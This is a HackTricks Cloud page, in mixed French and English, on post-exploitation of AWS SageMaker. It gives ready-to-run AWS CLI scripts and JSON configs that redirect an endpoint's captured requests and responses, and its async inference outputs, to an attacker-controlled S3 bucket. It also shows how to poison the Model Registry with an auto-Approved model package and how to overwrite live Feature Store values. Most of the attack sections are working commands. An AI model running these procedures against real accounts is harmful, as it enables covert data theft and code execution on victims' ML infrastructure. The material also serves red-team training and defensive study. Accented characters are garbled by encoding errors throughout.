AWS - SageMaker Post-Exploitation
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Siphonnage des données d'un endpoint SageMaker via UpdateEndpoint DataCaptureConfig
Exploiter la gestion des endpoints SageMaker pour activer la capture complĂšte des requĂȘtes/rĂ©ponses vers un bucket S3 contrĂŽlĂ© par l'attaquant, sans toucher au modĂšle ni au container. Utilise une mise Ă jour rolling Ă zĂ©ro ou faible temps d'arrĂȘt et nĂ©cessite uniquement les permissions de gestion d'endpoint.
Exigences
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3:
s3:CreateBucket(ou utiliser un bucket existant dans le mĂȘme compte) - Optionnel (si utilisation de SSEâKMS):
kms:Encryptsur la CMK choisie - Cible : un endpoint InService temps rĂ©el existant dans le mĂȘme compte/rĂ©gion
Ătapes
- Identifier un endpoint InService et récupérer les variants de production actuels
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
- Préparer la destination S3 de l'attaquant pour les captures
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
- CrĂ©ez un nouvel EndpointConfig qui conserve les mĂȘmes variants mais active DataCapture vers le bucket de l'attaquant
Note : Utilisez des types de contenu explicites qui satisfont la validation de la CLI.
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
- Appliquer la nouvelle configuration avec une mise Ă jour progressive (temps d'arrĂȘt minimal / nul)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Générer au moins un appel d'inférence (optionnel si du trafic en direct est présent)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
- Valider les captures dans le S3 de l'attaquant
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
Impact
- Exfiltration complĂšte des payloads de requĂȘtes et de rĂ©ponses d'infĂ©rence en temps rĂ©el (et des mĂ©tadonnĂ©es) depuis l'endpoint ciblĂ© vers un bucket S3 contrĂŽlĂ© par l'attaquant.
- Aucun changement à l'image model/container et seulement des modifications au niveau endpoint, permettant une voie de vol de données discrÚte avec une perturbation opérationnelle minimale.
SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Abuser de la gestion des endpoints pour rediriger les sorties d'inférence asynchrone vers un bucket S3 contrÎlé par l'attaquant en clonant l'EndpointConfig actuel et en configurant AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (and any transformed inputs included by the container) without modifying the model/container.
Requirements
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3: Possibilité d'écrire dans le bucket S3 contrÎlé par l'attaquant (via le model execution role ou une policy de bucket permissive)
- Target: An InService endpoint where asynchronous invocations are (or will be) used
Steps
- Récupérer les ProductionVariants actuels depuis l'endpoint ciblé
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
- Créez un attacker bucket (assurez-vous que le rÎle d'exécution du modÚle peut PutObject sur celui-ci)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
- Clone EndpointConfig et hijack les sorties AsyncInference vers l'attacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Déclencher une async invocation et vérifier que les objets sont déposés dans le S3 de l'attaquant
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
Impact
- Redirige les rĂ©sultats d'infĂ©rence asynchrone (et les corps d'erreur) vers un S3 contrĂŽlĂ© par l'attaquant, permettant l'exfiltration clandestine des prĂ©dictions et des entrĂ©es prĂ©/post-traitĂ©es potentiellement sensibles produites par le conteneur, sans modifier le code ou l'image du modĂšle et avec un temps d'arrĂȘt minimal/aucun.
SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
Si un attaquant peut exĂ©cuter CreateModelPackage sur un SageMaker Model Package Group ciblĂ©, il peut enregistrer une nouvelle version du modĂšle pointant vers une image de conteneur contrĂŽlĂ©e par l'attaquant et la marquer immĂ©diatement comme Approved. De nombreux pipelines CI/CD dĂ©ploient automatiquement les versions de modĂšle Approved vers des endpoints ou des training jobs, ce qui entraĂźne l'exĂ©cution de code malveillant sous les rĂŽles d'exĂ©cution du service. L'exposition inter-comptes peut ĂȘtre amplifiĂ©e par une politique de ressource ModelPackageGroup permissive.
Requirements
- IAM (minimum to poison an existing group):
sagemaker:CreateModelPackageon the target ModelPackageGroup - Optional (to create a group if one doesnât exist):
sagemaker:CreateModelPackageGroup - S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
- Target: A Model Package Group that downstream automation watches for Approved versions
Steps
- Set region and create/find a target Model Package Group
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
- Préparer des données de modÚle factices dans S3
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
- Enregistrer une version Approved dâun model package malveillante (ici bĂ©nigne) faisant rĂ©fĂ©rence Ă une image publique AWS DLC
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
- Vérifier que la nouvelle version approuvée existe
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
Impact
- Empoisonner le Model Registry avec une version Approved qui référence du code contrÎlé par l'attaquant. Les pipelines qui déploient automatiquement les modÚles Approved peuvent pull et exécuter l'image de l'attaquant, entraßnant une exécution de code avec les rÎles endpoint/training.
- Avec une politique de ressource permissive sur ModelPackageGroup (PutModelPackageGroupPolicy), cet abus peut ĂȘtre dĂ©clenchĂ© cross-account.
Feature store poisoning
Abuser de sagemaker:PutRecord sur un Feature Group avec OnlineStore activé pour écraser des valeurs de features en direct consommées par l'inference en ligne. Combiné avec sagemaker:GetRecord, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accÚs aux modÚles ou aux endpoints.
{{#ref}} feature-store-poisoning.md {{/ref}}
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks Cloud